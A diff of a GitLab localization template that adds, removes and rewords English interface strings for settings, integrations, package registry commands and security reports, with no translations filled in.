msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18747,6 +19241,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18765,13 +19262,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18846,6 +19340,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18948,9 +19445,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18960,9 +19454,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19095,9 +19586,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19155,9 +19643,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19724,6 +20209,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19916,6 +20404,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19979,6 +20473,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20114,6 +20611,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20434,6 +20934,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20483,9 +20992,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20651,6 +21157,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20696,6 +21205,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20762,7 +21274,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20813,6 +21325,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20900,6 +21415,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21071,6 +21589,34 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21185,6 +21731,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21317,10 +21872,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21410,9 +21962,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21437,9 +21986,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21470,6 +22016,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21558,12 +22107,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21582,9 +22125,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21597,10 +22137,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21615,6 +22158,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21666,6 +22212,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21774,12 +22323,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21810,6 +22365,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21828,6 +22386,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21879,6 +22440,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21903,9 +22467,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21942,15 +22503,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22002,27 +22590,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22260,10 +22827,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22344,7 +22920,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22593,9 +23169,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22614,6 +23187,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22689,6 +23265,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22758,9 +23346,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22911,10 +23496,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22950,6 +23535,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23088,6 +23685,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23112,6 +23715,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23136,6 +23742,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23394,7 +24003,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23784,6 +24393,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23799,49 +24411,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23895,25 +24540,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23925,7 +24573,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23937,7 +24585,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23949,10 +24597,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23985,10 +24633,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -24012,15 +24663,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -24051,7 +24696,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24060,7 +24705,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -24081,16 +24726,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24102,12 +24744,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24135,10 +24780,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24672,6 +25317,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24693,7 +25347,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24714,6 +25368,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24888,7 +25545,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25077,7 +25734,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25244,7 +25901,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25256,7 +25913,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25280,6 +25937,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25328,9 +25988,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25577,6 +26234,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25624,7 +26284,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25650,6 +26310,12 @@ msgstr[3] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25776,6 +26442,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25872,6 +26541,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26188,7 +26860,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26332,6 +27007,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26365,9 +27043,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26464,6 +27139,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26482,6 +27160,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26506,9 +27187,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26560,6 +27238,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26611,6 +27292,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26620,6 +27304,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26847,6 +27534,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26922,13 +27612,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26937,10 +27633,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26955,6 +27651,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
